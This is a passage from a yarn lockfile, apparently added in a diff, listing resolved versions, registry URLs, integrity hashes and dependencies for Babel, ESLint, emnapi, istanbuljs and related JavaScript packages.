integrity sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw== + dependencies: + "@babel/parser" "^7.29.0" + "@babel/types" "^7.29.0" + "@jridgewell/gen-mapping" "^0.3.12" + "@jridgewell/trace-mapping" "^0.3.28" + jsesc "^3.0.2" + +"@babel/generator@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.29.7.tgz#cca0b8827e6bcf3ba176788e7f3b180ad6db2fa3" + integrity sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ== + dependencies: + "@babel/parser" "^7.29.7" + "@babel/types" "^7.29.7" + "@jridgewell/gen-mapping" "^0.3.12" + "@jridgewell/trace-mapping" "^0.3.28" + jsesc "^3.0.2" + +"@babel/helper-compilation-targets@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.29.7.tgz#7a1def704302401c47f64fa85589e974ae217042" + integrity sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g== + dependencies: + "@babel/compat-data" "^7.29.7" + "@babel/helper-validator-option" "^7.29.7" + browserslist "^4.24.0" + lru-cache "^5.1.1" + semver "^6.3.1" + +"@babel/helper-globals@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/helper-globals/-/helper-globals-7.29.7.tgz#f04a96fbd8473241b1079243f5b3f03a3010ab7b" + integrity sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA== + +"@babel/helper-module-imports@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.29.7.tgz#ef25048a518e828d7393fac5882ddd73921d7396" + integrity sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g== + dependencies: + "@babel/traverse" "^7.29.7" + "@babel/types" "^7.29.7" + +"@babel/helper-module-transforms@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.29.7.tgz#b062747a5997ba138637201328bbff77960574ae" + integrity sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg== + dependencies: + "@babel/helper-module-imports" "^7.29.7" + "@babel/helper-validator-identifier" "^7.29.7" + "@babel/traverse" "^7.29.7" + +"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.14.5", "@babel/helper-plugin-utils@^7.24.7", "@babel/helper-plugin-utils@^7.8.0": + version "7.24.8" + resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.24.8.tgz#94ee67e8ec0e5d44ea7baeb51e571bd26af07878" + integrity sha512-FFWx5142D8h2Mgr/iPVGH5G7w6jDn4jUSpZTyDnQO0Yn7Ks2Kuz6Pci8H6MPCoUJegd/UZQ3tAvfLCxQSnWWwg== + +"@babel/helper-plugin-utils@^7.28.6": + version "7.28.6" + resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz#6f13ea251b68c8532e985fd532f28741a8af9ac8" + integrity sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug== + +"@babel/helper-string-parser@^7.24.8": + version "7.24.8" + resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.24.8.tgz#5b3329c9a58803d5df425e5785865881a81ca48d" + integrity sha512-pO9KhhRcuUyGnJWwyEgnRJTSIZHiT+vMD0kPeD+so0l7mxkMT19g3pjY9GTnHySck/hDzq+dtW/4VgnMkippsQ== + +"@babel/helper-string-parser@^7.27.1": + version "7.27.1" + resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz#54da796097ab19ce67ed9f88b47bb2ec49367687" + integrity sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA== + +"@babel/helper-string-parser@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.29.7.tgz#7f0871d99824d23137d60f86fcf6130fd5a1b51f" + integrity sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw== + +"@babel/helper-validator-identifier@^7.24.7": + version "7.24.7" + resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.24.7.tgz#75b889cfaf9e35c2aaf42cf0d72c8e91719251db" + integrity sha512-rR+PBcQ1SMQDDyF6X0wxtG8QyLCgUB0eRAGguqRLfkCA87l7yAP7ehq8SNj96OOGTO8OBV70KhuFYcIkHXOg0w== + +"@babel/helper-validator-identifier@^7.28.5": + version "7.28.5" + resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz#010b6938fab7cb7df74aa2bbc06aa503b8fe5fb4" + integrity sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q== + +"@babel/helper-validator-identifier@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz#bd87084ced0c796ec46bda492de6e83d29e89fc2" + integrity sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg== + +"@babel/helper-validator-option@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.29.7.tgz#cf315be940213b354eb4abcc0bd01ebe3f73bc2a" + integrity sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw== + +"@babel/helpers@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.29.7.tgz#45abfde7548997e34376c3e69feb475cffb4a607" + integrity sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg== + dependencies: + "@babel/template" "^7.29.7" + "@babel/types" "^7.29.7" + +"@babel/highlight@^7.24.7": + version "7.24.7" + resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.24.7.tgz#a05ab1df134b286558aae0ed41e6c5f731bf409d" + integrity sha512-EStJpq4OuY8xYfhGVXngigBJRWxftKX9ksiGDnmlY3o7B/V7KIAc9X4oiK87uPJSc/vs5L869bem5fhZa8caZw== + dependencies: + "@babel/helper-validator-identifier" "^7.24.7" + chalk "^2.4.2" + js-tokens "^4.0.0" + picocolors "^1.0.0" + +"@babel/parser@^7.1.0", "@babel/parser@^7.20.7", "@babel/parser@^7.23.9": + version "7.25.3" + resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.25.3.tgz#91fb126768d944966263f0657ab222a642b82065" + integrity sha512-iLTJKDbJ4hMvFPgQwwsVoxtHyWpKKPBrxkANrSYewDPaPpT5py5yeVkgPIJ7XYXhndxJpaA3PyALSXQ7u8e/Dw== + dependencies: + "@babel/types" "^7.25.2" + +"@babel/parser@^7.29.0": + version "7.29.0" + resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.29.0.tgz#669ef345add7d057e92b7ed15f0bac07611831b6" + integrity sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww== + dependencies: + "@babel/types" "^7.29.0" + +"@babel/parser@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.29.7.tgz#837b87387cbf5ec5530cb634b3c622f68edb9334" + integrity sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg== + dependencies: + "@babel/types" "^7.29.7" + +"@babel/plugin-syntax-async-generators@^7.8.4": + version "7.8.4" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz#a983fb1aeb2ec3f6ed042a210f640e90e786fe0d" + integrity sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-bigint@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz#4c9a6f669f5d0cdf1b90a1671e9a146be5300cea" + integrity sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-class-properties@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz#b5c987274c4a3a82b89714796931a6b53544ae10" + integrity sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-syntax-class-static-block@^7.14.5": + version "7.14.5" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz#195df89b146b4b78b3bf897fd7a257c84659d406" + integrity sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw== + dependencies: + "@babel/helper-plugin-utils" "^7.14.5" + +"@babel/plugin-syntax-import-attributes@^7.24.7": + version "7.24.7" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.24.7.tgz#b4f9ea95a79e6912480c4b626739f86a076624ca" + integrity sha512-hbX+lKKeUMGihnK8nvKqmXBInriT3GVjzXKFriV3YC6APGxMbP8RZNFwy91+hocLXq90Mta+HshoB31802bb8A== + dependencies: + "@babel/helper-plugin-utils" "^7.24.7" + +"@babel/plugin-syntax-import-meta@^7.10.4": + version "7.10.4" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz#ee601348c370fa334d2207be158777496521fd51" + integrity sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + +"@babel/plugin-syntax-json-strings@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz#01ca21b668cd8218c9e640cb6dd88c5412b2c96a" + integrity sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-jsx@^7.27.1": + version "7.28.6" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.28.6.tgz#f8ca28bbd84883b5fea0e447c635b81ba73997ee" + integrity sha512-wgEmr06G6sIpqr8YDwA2dSRTE3bJ+V0IfpzfSY3Lfgd7YWOaAdlykvJi13ZKBt8cZHfgH1IXN+CL656W3uUa4w== + dependencies: + "@babel/helper-plugin-utils" "^7.28.6" + +"@babel/plugin-syntax-logical-assignment-operators@^7.10.4": + version "7.10.4" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz#ca91ef46303530448b906652bac2e9fe9941f699" + integrity sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + +"@babel/plugin-syntax-nullish-coalescing-operator@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz#167ed70368886081f74b5c36c65a88c03b66d1a9" + integrity sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-numeric-separator@^7.10.4": + version "7.10.4" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz#b9b070b3e33570cd9fd07ba7fa91c0dd37b9af97" + integrity sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + +"@babel/plugin-syntax-object-rest-spread@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz#60e225edcbd98a640332a2e72dd3e66f1af55871" + integrity sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-optional-catch-binding@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz#6111a265bcfb020eb9efd0fdfd7d26402b9ed6c1" + integrity sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-optional-chaining@^7.8.3": + version "7.8.3" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz#4f69c2ab95167e0180cd5336613f8c5788f7d48a" + integrity sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg== + dependencies: + "@babel/helper-plugin-utils" "^7.8.0" + +"@babel/plugin-syntax-private-property-in-object@^7.14.5": + version "7.14.5" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz#0dc6671ec0ea22b6e94a1114f857970cd39de1ad" + integrity sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg== + dependencies: + "@babel/helper-plugin-utils" "^7.14.5" + +"@babel/plugin-syntax-top-level-await@^7.14.5": + version "7.14.5" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz#c1cfdadc35a646240001f06138247b741c34d94c" + integrity sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw== + dependencies: + "@babel/helper-plugin-utils" "^7.14.5" + +"@babel/plugin-syntax-typescript@^7.27.1": + version "7.28.6" + resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.28.6.tgz#c7b2ddf1d0a811145b1de800d1abd146af92e3a2" + integrity sha512-+nDNmQye7nlnuuHDboPbGm00Vqg3oO8niRRL27/4LYHUsHYh0zJ1xWOz0uRwNFmM1Avzk8wZbc6rdiYhomzv/A== + dependencies: + "@babel/helper-plugin-utils" "^7.28.6" + +"@babel/template@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.29.7.tgz#4d9d4004f645cdd304de958c725162784ecac700" + integrity sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg== + dependencies: + "@babel/code-frame" "^7.29.7" + "@babel/parser" "^7.29.7" + "@babel/types" "^7.29.7" + +"@babel/traverse@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.29.7.tgz#c47b07a41b95da0907d026b5dd894d98de7d2f2d" + integrity sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw== + dependencies: + "@babel/code-frame" "^7.29.7" + "@babel/generator" "^7.29.7" + "@babel/helper-globals" "^7.29.7" + "@babel/parser" "^7.29.7" + "@babel/template" "^7.29.7" + "@babel/types" "^7.29.7" + debug "^4.3.1" + +"@babel/types@^7.0.0", "@babel/types@^7.20.7", "@babel/types@^7.25.2": + version "7.25.2" + resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.25.2.tgz#55fb231f7dc958cd69ea141a4c2997e819646125" + integrity sha512-YTnYtra7W9e6/oAZEHj0bJehPRUlLH9/fbpT5LfB0NhQXyALCRkRs3zH9v07IYhkgpqX6Z78FnuccZr/l4Fs4Q== + dependencies: + "@babel/helper-string-parser" "^7.24.8" + "@babel/helper-validator-identifier" "^7.24.7" + to-fast-properties "^2.0.0" + +"@babel/types@^7.27.3", "@babel/types@^7.29.0": + version "7.29.0" + resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.29.0.tgz#9f5b1e838c446e72cf3cd4b918152b8c605e37c7" + integrity sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A== + dependencies: + "@babel/helper-string-parser" "^7.27.1" + "@babel/helper-validator-identifier" "^7.28.5" + +"@babel/types@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.29.7.tgz#8005e31d82712ee7adaef6e23c63b71a62770a92" + integrity sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA== + dependencies: + "@babel/helper-string-parser" "^7.29.7" + "@babel/helper-validator-identifier" "^7.29.7" + +"@bcoe/v8-coverage@^0.2.3": + version "0.2.3" + resolved "https://registry.yarnpkg.com/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz#75a2e8b51cb758a7553d6804a5932d7aace75c39" + integrity sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw== + +"@cfworker/json-schema@^4.0.2": + version "4.1.1" + resolved "https://registry.yarnpkg.com/@cfworker/json-schema/-/json-schema-4.1.1.tgz#4a2a3947ee9fa7b7c24be981422831b8674c3be6" + integrity sha512-gAmrUZSGtKc3AiBL71iNWxDsyUC5uMaKKGdvzYsBoTW/xi42JQHl7eKV2OYzCUqvc+D2RCcf7EXY2iCyFIk6og== + +"@emnapi/core@^1.4.3": + version "1.8.1" + resolved "https://registry.yarnpkg.com/@emnapi/core/-/core-1.8.1.tgz#fd9efe721a616288345ffee17a1f26ac5dd01349" + integrity sha512-AvT9QFpxK0Zd8J0jopedNm+w/2fIzvtPKPjqyw9jwvBaReTTqPBk9Hixaz7KbjimP+QNz605/XnjFcDAL2pqBg== + dependencies: + "@emnapi/wasi-threads" "1.1.0" + tslib "^2.4.0" + +"@emnapi/runtime@^1.4.3": + version "1.8.1" + resolved "https://registry.yarnpkg.com/@emnapi/runtime/-/runtime-1.8.1.tgz#550fa7e3c0d49c5fb175a116e8cd70614f9a22a5" + integrity sha512-mehfKSMWjjNol8659Z8KxEMrdSJDDot5SXMq00dM8BN4o+CLNXQ0xH2V7EchNHV4RmbZLmmPdEaXZc5H2FXmDg== + dependencies: + tslib "^2.4.0" + +"@emnapi/wasi-threads@1.1.0": + version "1.1.0" + resolved "https://registry.yarnpkg.com/@emnapi/wasi-threads/-/wasi-threads-1.1.0.tgz#60b2102fddc9ccb78607e4a3cf8403ea69be41bf" + integrity sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ== + dependencies: + tslib "^2.4.0" + +"@eslint-community/eslint-utils@^4.8.0", "@eslint-community/eslint-utils@^4.9.1": + version "4.9.1" + resolved "https://registry.yarnpkg.com/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz#4e90af67bc51ddee6cdef5284edf572ec376b595" + integrity sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ== + dependencies: + eslint-visitor-keys "^3.4.3" + +"@eslint-community/regexpp@^4.12.2": + version "4.12.2" + resolved "https://registry.yarnpkg.com/@eslint-community/regexpp/-/regexpp-4.12.2.tgz#bccdf615bcf7b6e8db830ec0b8d21c9a25de597b" + integrity sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew== + +"@eslint/config-array@^0.23.5": + version "0.23.5" + resolved "https://registry.yarnpkg.com/@eslint/config-array/-/config-array-0.23.5.tgz#56e86d243049195d8acc0c06a1b3dfdc3fa3de95" + integrity sha512-Y3kKLvC1dvTOT+oGlqNQ1XLqK6D1HU2YXPc52NmAlJZbMMWDzGYXMiPRJ8TYD39muD/OTjlZmNJ4ib7dvSrMBA== + dependencies: + "@eslint/object-schema" "^3.0.5" + debug "^4.3.1" + minimatch "^10.2.4" + +"@eslint/config-helpers@^0.6.0": + version "0.6.0" + resolved "https://registry.yarnpkg.com/@eslint/config-helpers/-/config-helpers-0.6.0.tgz#ef9a36881d39dfd5dbeac22b0da997fabfb08b03" + integrity sha512-ii6Bw9jJ2zi2cWA2Z+9/QZ/+3DX6kwaV5Q986D/CdP3Lap3w/pgQZ373FV7byY/i7L4IRH/G43I5dz1ClsCbpA== + dependencies: + "@eslint/core" "^1.2.1" + +"@eslint/core@^1.2.1": + version "1.2.1" + resolved "https://registry.yarnpkg.com/@eslint/core/-/core-1.2.1.tgz#c1da7cd1b82fa8787f98b5629fb811848a1b63ce" + integrity sha512-MwcE1P+AZ4C6DWlpin/OmOA54mmIZ/+xZuJiQd4SyB29oAJjN30UW9wkKNptW2ctp4cEsvhlLY/CsQ1uoHDloQ== + dependencies: + "@types/json-schema" "^7.0.15" + +"@eslint/eslintrc@^3.3.5": + version "3.3.5" + resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-3.3.5.tgz#c131793cfc1a7b96f24a83e0a8bbd4b881558c60" + integrity sha512-4IlJx0X0qftVsN5E+/vGujTRIFtwuLbNsVUe7TO6zYPDR1O6nFwvwhIKEKSrl6dZchmYBITazxKoUYOjdtjlRg== + dependencies: + ajv "^6.14.0" + debug "^4.3.2" + espree "^10.0.1" + globals "^14.0.0" + ignore "^5.2.0" + import-fresh "^3.2.1" + js-yaml "^4.1.1" + minimatch "^3.1.5" + strip-json-comments "^3.1.1" + +"@eslint/js@^10.0.1": + version "10.0.1" + resolved "https://registry.yarnpkg.com/@eslint/js/-/js-10.0.1.tgz#1e8a876f50117af8ab67e47d5ad94d38d6622583" + integrity sha512-zeR9k5pd4gxjZ0abRoIaxdc7I3nDktoXZk2qOv9gCNWx3mVwEn32VRhyLaRsDiJjTs0xq/T8mfPtyuXu7GWBcA== + +"@eslint/object-schema@^3.0.5": + version "3.0.5" + resolved "https://registry.yarnpkg.com/@eslint/object-schema/-/object-schema-3.0.5.tgz#88e9bf4d11d2b19c082e78ebe7ce88724a5eb091" + integrity sha512-vqTaUEgxzm+YDSdElad6PiRoX4t8VGDjCtt05zn4nU810UIx/uNEV7/lZJ6KwFThKZOzOxzXy48da+No7HZaMw== + +"@eslint/plugin-kit@^0.7.2": + version "0.7.2" + resolved "https://registry.yarnpkg.com/@eslint/plugin-kit/-/plugin-kit-0.7.2.tgz#4b0962f3f2c7ce8bc98b3ecfe34525c09d2cb729" + integrity sha512-+CNAzxglkrpNf/kKywqQfk74QjtceuOE7Qm+AF8miRvPF/wmmK5+OJOgVh3AVTT3RP2mH3+FOaxlE5v72owk0A== + dependencies: + "@eslint/core" "^1.2.1" + levn "^0.4.1" + +"@humanfs/core@^0.19.1": + version "0.19.1" + resolved "https://registry.yarnpkg.com/@humanfs/core/-/core-0.19.1.tgz#17c55ca7d426733fe3c561906b8173c336b40a77" + integrity sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA== + +"@humanfs/node@^0.16.6": + version "0.16.7" + resolved "https://registry.yarnpkg.com/@humanfs/node/-/node-0.16.7.tgz#822cb7b3a12c5a240a24f621b5a2413e27a45f26" + integrity sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ== + dependencies: + "@humanfs/core" "^0.19.1" + "@humanwhocodes/retry" "^0.4.0" + +"@humanwhocodes/module-importer@^1.0.1": + version "1.0.1" + resolved "https://registry.yarnpkg.com/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz#af5b2691a22b44be847b0ca81641c5fb6ad0172c" + integrity sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA== + +"@humanwhocodes/retry@^0.4.0", "@humanwhocodes/retry@^0.4.2": + version "0.4.3" + resolved "https://registry.yarnpkg.com/@humanwhocodes/retry/-/retry-0.4.3.tgz#c2b9d2e374ee62c586d3adbea87199b1d7a7a6ba" + integrity sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ== + +"@isaacs/cliui@^8.0.2": + version "8.0.2" + resolved "https://registry.yarnpkg.com/@isaacs/cliui/-/cliui-8.0.2.tgz#b37667b7bc181c168782259bab42474fbf52b550" + integrity sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA== + dependencies: + string-width "^5.1.2" + string-width-cjs "npm:string-width@^4.2.0" + strip-ansi "^7.0.1" + strip-ansi-cjs "npm:strip-ansi@^6.0.1" + wrap-ansi "^8.1.0" + wrap-ansi-cjs "npm:wrap-ansi@^7.0.0" + +"@isaacs/cliui@^9.0.0": + version "9.0.0" + resolved "https://registry.yarnpkg.com/@isaacs/cliui/-/cliui-9.0.0.tgz#4d0a3f127058043bf2e7ee169eaf30ed901302f3" + integrity sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg== + +"@istanbuljs/load-nyc-config@^1.0.0": + version "1.1.0" + resolved "https://registry.yarnpkg.com/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz#fd3db1d59ecf7cf121e80650bb86712f9b55eced" + integrity sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ== + dependencies: + camelcase "^5.3.1" + find-up "^4.1.0" + get-package-type "^0.1.0" + js-yaml "^3.13.1" + resolve-from "^5.0.0" + +"@istanbuljs/schema@^0.1.2", "@istanbuljs/schema@^0.1.3": + version "0.1.3" + resolved "https://registry.yarnpkg.com/@istanbuljs/schema/-/schema-0.1.3.tgz#e45e384e4b8ec16bce2fd903af78450f6bf7ec98" + integrity 